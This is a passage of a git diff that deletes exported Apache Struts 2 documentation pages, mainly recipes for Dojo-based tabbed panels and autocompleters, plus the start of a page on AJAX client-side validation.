-&lt;sx:datetimepicker label="In Dutch"  name="dddp8" value="%{'2006-06-28'}" language="nl-nl" /&gt;
-</pre>
-</div></div>
-
-<h4 id="AjaxandJavaScriptRecipes-TabbedPanel">Tabbed Panel</h4>
-<h5 id="AjaxandJavaScriptRecipes-LocalTabs">Local Tabs</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:tabbedpanel id="tabContainer"&gt;
-   &lt;sx:div label="Tab 1" &gt;
-       Local Tab 1
-   &lt;/sx:div&gt;   
-   &lt;sx:div label="Tab 2" &gt;
-       Local Tab 2
-   &lt;/sx:div&gt;   
-&lt;/sx:tabbedpanel&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Localandremotetabs">Local and remote tabs</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:tabbedpanel id="tabContainer"&gt;
-   &lt;sx:div label="Local Tab 1" &gt;
-       Tab 1
-   &lt;/sx:div&gt;   
-   &lt;sx:div label="Remote Tab 2" href="%{#url}"&gt;
-       Remote Tab 2
-   &lt;/sx:div&gt;   
-&lt;/sx:tabbedpanel&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Fixedsize(sizedoesnotadjusttocurrenttab)">Fixed size (size does not adjust to current tab)</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:tabbedpanel cssStyle="width: 500px; height: 300px;" doLayout="true" id="tabContainer"&gt;
-   &lt;sx:div label="Tab 1" &gt;
-       Local Tab 1
-   &lt;/sx:div&gt;   
-   &lt;sx:div label="Tab 2" &gt;
-       Local Tab 2
-   &lt;/sx:div&gt;   
-&lt;/sx:tabbedpanel&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Donotloadtab2whenpageloads(itwillbeloadedwhenselected)">Do not load tab 2 when page loads (it will be loaded when selected)</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:tabbedpanel id="tabContainer"&gt;
-   &lt;sx:div label="Remote Tab 1" href="%{#url}"&gt;
-       Remote Tab 1
-   &lt;/sx:div&gt;  
-   &lt;sx:div label="Remote Tab 2" href="%{#url}" preload="false"&gt;
-       Remote Tab 1
-   &lt;/sx:div&gt;      
-&lt;/sx:tabbedpanel&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Reloadtabscontentwhenselected">Reload tabs content when selected</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:tabbedpanel id="tabContainer"&gt;
-   &lt;sx:div label="Remote Tab 1" href="%{#url}" refreshOnShow="true"&gt;
-       Remote Tab 1
-   &lt;/sx:div&gt;  
-   &lt;sx:div label="Remote Tab 2" href="%{#url}" refreshOnShow="true"&gt;
-       Remote Tab 2
-   &lt;/sx:div&gt;      
-&lt;/sx:tabbedpanel&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Disabledtabs">Disabled tabs</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:tabbedpanel id="tabContainer"&gt;
-   &lt;sx:div label="Tab 1" &gt;
-       Local Tab 1
-   &lt;/sx:div&gt;   
-   &lt;sx:div label="Tab 2" disabled="true"&gt;
-       Local Tab 2
-   &lt;/sx:div&gt;   
-&lt;/sx:tabbedpanel&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Enable/DisabletabsusingJavaScript">Enable/Disable tabs using JavaScript</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-   function enableTab(param) {
-      var tabContainer = dojo.widget.byId('tabContainer');
-      tabContainer.enableTab(param);
-   }
-    
-   
-   function disableTab(param) {
-      var tabContainer = dojo.widget.byId('tabContainer');
-      tabContainer.disableTab(param);
-   }
-&lt;/script&gt;
-
-&lt;sx:tabbedpanel id="tabContainer" id="tabContainer"&gt;
-   &lt;sx:div id="tab1" label="Tab 1"&gt;
-       Local Tab 1
-   &lt;/sx:div&gt;   
-   &lt;sx:div id="tab2" label="Tab 2" disabled="true"&gt;
-       Local Tab 2
-   &lt;/sx:div&gt;   
-&lt;/sx:tabbedpanel&gt;
-
-&lt;!-- By Tab Index --&gt;
-&lt;input type="button" onclick="enableTab(1)" value="Enable Tab 2 using Index" /&gt;
-&lt;input type="button" onclick="disableTab(1)" value="Disable Tab 2 using Index" /&gt;
-    
-&lt;!-- By Tab Id --&gt;
-&lt;input type="button" onclick="enableTab('tab2')" value="Enable Tab 2 using Id" /&gt;
-&lt;input type="button" onclick="disableTab('tab2')" value="Disable Tab 2 using Id" /&gt;
-   
-&lt;!-- By Widget --&gt;
-&lt;input type="button" onclick="enableTab(dojo.widget.byId('tab2'))" value="Enable Tab 2 using widget" /&gt;
-&lt;input type="button" onclick="disableTab(dojo.widget.byId('tab2'))" value="Disable Tab 2 using widget" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-SetTablabelspositiontobottom(canbe:top,right,bottom,left)">Set Tab labels position to bottom (can be: top, right, bottom, left)</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:tabbedpanel labelposition="bottom" id="tabContainer"&gt;
-   &lt;sx:div label="Tab 1" &gt;
-       Local Tab 1
-   &lt;/sx:div&gt;   
-   &lt;sx:div label="Tab 2" &gt;
-       Local Tab 2
-   &lt;/sx:div&gt;   
-&lt;/sx:tabbedpanel&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Allowtab2toberemoved(closed)">Allow tab 2 to be removed(closed)</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:tabbedpanel id="tabContainer"&gt;
-   &lt;sx:div label="Tab 1" &gt;
-       Local Tab 1
-   &lt;/sx:div&gt;   
-   &lt;sx:div label="Tab 2"  closable="true"&gt;
-       Local Tab 2
-   &lt;/sx:div&gt;   
-&lt;/sx:tabbedpanel&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Publishtopicswhentabisselected">Publish topics when tab is selected</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-   dojo.event.topic.subscribe('/before', function(event, tab, tabContainer) {
-      alert("Before selecting tab");
-   });
-
-   dojo.event.topic.subscribe('/after', function(tab, tabContainer) {
-      alert("After tab was selected");
-   });
-&lt;/script&gt;
-&lt;sx:tabbedpanel beforeSelectTabNotifyTopics="/before" afterSelectTabNotifyTopics="/after" id="tabContainer"&gt;
-   &lt;sx:div label="Tab 1"&gt;
-       Local Tab 1
-   &lt;/sx:div&gt;   
-   &lt;sx:div label="Tab 2"&gt;
-       Local Tab 2
-   &lt;/sx:div&gt;   
-&lt;/sx:tabbedpanel&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-SelecttabusingJavaScript">Select tab using JavaScript</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-   function selectTab(id) {
-     var tabContainer = dojo.widget.byId("tabContainer");
-     tabContainer.selectTab(id);
-   }
-&lt;/script&gt;
-&lt;sx:tabbedpanel id="tabContainer"&gt;
-   &lt;sx:div label="Tab 1" id="tab1"&gt;
-       Local Tab 1
-   &lt;/sx:div&gt;   
-   &lt;sx:div label="Tab 2" id="tab2"&gt;
-       Local Tab 2
-   &lt;/sx:div&gt;   
-&lt;/sx:tabbedpanel&gt;
-
-&lt;input type="button" onclick="selectTab('tab1')" value="Select tab 1" /&gt;
-&lt;input type="button" onclick="selectTab('tab2')" value="Select tab 2" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Preventtab2frombeingselected">Prevent tab 2 from being selected</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-   dojo.event.topic.subscribe('/before', function(event, tab, tabContainer) {
-      event.cancel = tab.widgetId == "tab2" ;
-   });
-&lt;/script&gt;
-&lt;sx:tabbedpanel beforeSelectTabNotifyTopics="/before" id="tabContainer"&gt;
-   &lt;sx:div id="tab1" label="Tab 1"&gt;
-       Local Tab 1
-   &lt;/sx:div&gt;   
-   &lt;sx:div id="tab2" label="Tab 2"&gt;
-       Local Tab 2
-   &lt;/sx:div&gt;   
-&lt;/sx:tabbedpanel&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Customizetemplatecsspath(Dojowidgettemplatecss)">Customize template css path (Dojo widget template css)</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:tabbedpanel templateCssPath="%{#cssUrl}" id="tabContainer"&gt;
-   &lt;sx:div id="tab1" label="Tab 1"&gt;
-       Local Tab 1
-   &lt;/sx:div&gt;   
-   &lt;sx:div id="tab2" label="Tab 2"&gt;
-       Local Tab 2
-   &lt;/sx:div&gt;   
-&lt;/sx:tabbedpanel&gt;
-</pre>
-</div></div>
-
-<h4 id="AjaxandJavaScriptRecipes-Autocompleter">Autocompleter</h4>
-<h5 id="AjaxandJavaScriptRecipes-Fixedlist">Fixed list</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter list="{'apple','banana','grape','pear'}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Setinitialvalue">Set initial value</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter list="{'apple','banana','grape','pear'}" value="apple"/&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Forcevalidoption(restoreoptionwhenfocusislost)">Force valid option (restore option when focus is lost)</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter list="{'apple','banana','grape','pear'}" forceValidOption="true"/&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-UsingtheJSONplugintogeneratethevalues(oneofthepossibleways)">Using the JSON plugin to generate the values (one of the possible ways)</h5>
-<p>The action</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>AutocompleterExample.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class AutocompleterExample extends ActionSupport {
-
-   public Map&lt;String, String&gt; getOptions() {
-      Map&lt;String,String&gt; options = new HashMap&lt;String,String&gt;();
-      options.put("Florida", "FL");
-      options.put("Alabama", "AL");
-
-      return options;
-   }
-}
-</pre>
-</div></div>
-
-<p>The mapping:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;struts&gt;
-...
-   &lt;package name="autocompleter" namespace="/autocompleter" extends="json-default"&gt;
-       &lt;action name="getStates" class="AutocompleterExample"&gt;
-           &lt;result type="json"&gt;
-               &lt;param name="root"&gt;options&lt;/param&gt;&lt;/result&gt;
-       &lt;/action&gt;
-   &lt;/package&gt;
-...
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<p>The JSP (fragment):</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:url id="optionsUrl" namespace="/autocompleter" action="getStates" /&gt;
-
-&lt;sx:autocompleter href="%{#optionsUrl}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Exampleaction">Example action</h5>
-<p>When a form containing an autocompleter is submitted, two values will be submitted for each autocompleter, one for the selected value, and one for its associated key.</p>
-
-<p>The action:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MyAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public MyAction extends ActionSupport {
-    private String optionsKey;
-    private String options;
-
-    ...    
-}
-</pre>
-</div></div>
-
-<p>The JSP:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:form id="form"&gt;
-  &lt;sx:autocompleter name="options" label="Options" /&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Setinitialkeyandvalue">Set initial key and value</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:url id="optionsUrl" namespace="/autocompleter" action="getStates" /&gt;
-
-&lt;sx:autocompleter href="%{#optionsUrl}" value="Florida" keyValue="FL"/&gt;
-</pre>
-</div></div>
-
-
-<h5 id="AjaxandJavaScriptRecipes-Changedefaultkeyname">Change default key name</h5>
-<p>The action:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MyAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public MyAction extends ActionSupport {
-    private String superKey;
-    private String options;
-
-    ...    
-}
-</pre>
-</div></div>
-
-<p>The JSP:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:form id="form"&gt;
-  &lt;sx:autocompleter keyName="superKey" name="options" label="Options" /&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-JSONaccepted">JSON accepted</h5>
-<p>for this autocompleter:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter name="state" /&gt;
-</pre>
-</div></div>
-
-<p>The following JSON will be accepted:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Map(recommended as it is the easiest one to generate)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: javascript; gutter: false; theme: Default" style="font-size:12px;">
-{
-    "Alabama" : "AL",
-    "Alaska" : "AK"
-}
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Array of arrays</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: javascript; gutter: false; theme: Default" style="font-size:12px;">
-[
-    ["Alabama", "AL"],
-    ["Alaska", "AK"]
-]
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Array inside object, same name as field</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: javascript; gutter: false; theme: Default" style="font-size:12px;">
-{
-    "state" : [
-        ["Alabama","AL"],
-        ["Alaska","AK"]
-    ]
-}     
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Map inside object, same name as field</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: javascript; gutter: false; theme: Default" style="font-size:12px;">
-{
-    "state" : {
-        "Alabama" : "Alabama",
-        "Alaska" : "AK"
-    }
-}    
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Array inside object, field in response starts with the name of the autocompleter("state" in this example)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: javascript; gutter: false; theme: Default" style="font-size:12px;">
-{
-    "states" : [
-        ["Alabama","AL"],
-        ["Alaska","AK"]
-    ]
-}     
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>No name match, use first array found, and hope for the best</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: javascript; gutter: false; theme: Default" style="font-size:12px;">
-{
-    "Australopithecus" : [
-       ["Alabama","AL"],
-       ["Alaska","AK"]
-    ]
-}     
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Loadcharacterswhileusertypes(whentextsize&gt;=3)">Load characters while user types (when text size &gt;= 3)</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter href="%{#url}" loadOnTextChange="true" loadMinimumCount="3" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Hidedropdownarrow">Hide dropdown arrow</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter href="%{#url}" showDownArrow="false" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Limitoptionsshownto3">Limit options shown to 3</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter href="%{#url}" resultsLimit="3" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Allmatchingoptionsareshown">All matching options are shown</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter href="%{#url}" resultsLimit="-1" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Setdropdownheightandwidth,inpixels">Set dropdown height and width, in pixels</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter href="%{#url}" dropdownHeight="180" dropdownWidth="200" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Disableitwhenpageisloaded">Disable it when page is loaded</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter href="%{#url}" disabled="true" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Disableit/enableitusingJavaScript">Disable it/enable it using JavaScript</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-  function enableit() {
-     var autoCompleter = dojo.widget.byId("auto");
-     autoCompleter.enable();
-  }
-
-  function disableit() {
-     var autoCompleter = dojo.widget.byId("auto");
-     autoCompleter.disable();
-  }
-&lt;/script&gt;
-
-&lt;sx:autocompleter id="auto" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Reloadoptionswhentopicispublished">Reload options when topic is published</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter listenTopics="/reload" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Submitformwhenoptionsareloaded">Submit form when options are loaded</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:form id="form"&gt;
-  &lt;input type="textbox" name="data"&gt;
-&lt;/s:form&gt;
-
-&lt;sx:autocompleter formId="form" href="%{#url}"  /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Filterfieldstopbesubmittedwhenoptionsareloaded(returntruetoinclude)">Filter fields top be submitted when options are loaded (return true to include)</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-  function filter(input) {
-     return input.name == "data1";
-  }
-&lt;/script&gt;
-
-&lt;s:form id="form"&gt;
-  &lt;input type="textbox" name="data0"&gt;
-  &lt;input type="textbox" name="data1"&gt;
-&lt;/s:form&gt;
-
-&lt;sx:autocompleter formId="form" formFilter="filter" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Linktwoautocompleters,usingtopics">Link two autocompleters, using topics</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;form id="selectForm"&gt;
-   &lt;sx:autocompleter  name="select" list="{'fruits','colors'}"  valueNotifyTopics="/changed" /&gt;
-&lt;/form&gt;
-
-&lt;sx:autocompleter  href="%{#url}" formId="selectForm" listenTopics="/changed" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Showoptions,butdon'tmakesuggestion(autocomple)inthetextbox">Show options, but don't make suggestion (autocomple) in the textbox</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter autoComplete="false" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Preventoptionsfromloadingwhenpageloads">Prevent options from loading when page loads</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:autocompleter preload="false" href="%{#url}" /&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-client-side-validation.html b/content/docs/ajax-client-side-validation.html
deleted file mode 100644
index 404a171..0000000
--- a/content/docs/ajax-client-side-validation.html
+++ /dev/null
@@ -1,158 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>AJAX Client Side Validation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="client-side-validation.html">Client Side Validation</a>&nbsp;&gt;&nbsp;<a href="pure-javascript-client-side-validation.html">Pure JavaScript Client Side Validation</a>&nbsp;&gt;&nbsp;<a href="ajax-client-side-validation.html">AJAX Client S [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">AJAX Client Side Validation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14305">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14305">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14305">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14305">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14305">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14305">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This validation mode only works with the <a shape="rect" href="ajax-theme.html">ajax theme</a></p></div></div>
-
-<p>AJAX-based client side validation improves upon <a shape="rect" href="pure-javascript-client-side-validation.html">Pure JavaScript Client Side Validation</a> by using a combination of JavaScript, DOM manipulation, and remote server communication. Unlike the pure client side implementation, AJAX-based validation communicates with the server. This means all your validation rules that worked when submitting a form will still work within the browser.</p>
-
-<p>The validation occurs on each <strong>onblur</strong> event for each form element. As each user types in some values and moves to the next form element, the value (and all other values previously entered) will be sent to the server for validation. The entire validation stack is run, including visitor validators and your action's validate() method.</p>
-
-<p>If there is an error, like the pure implementation, the HTML and DOM will be updated immediately.</p>
-
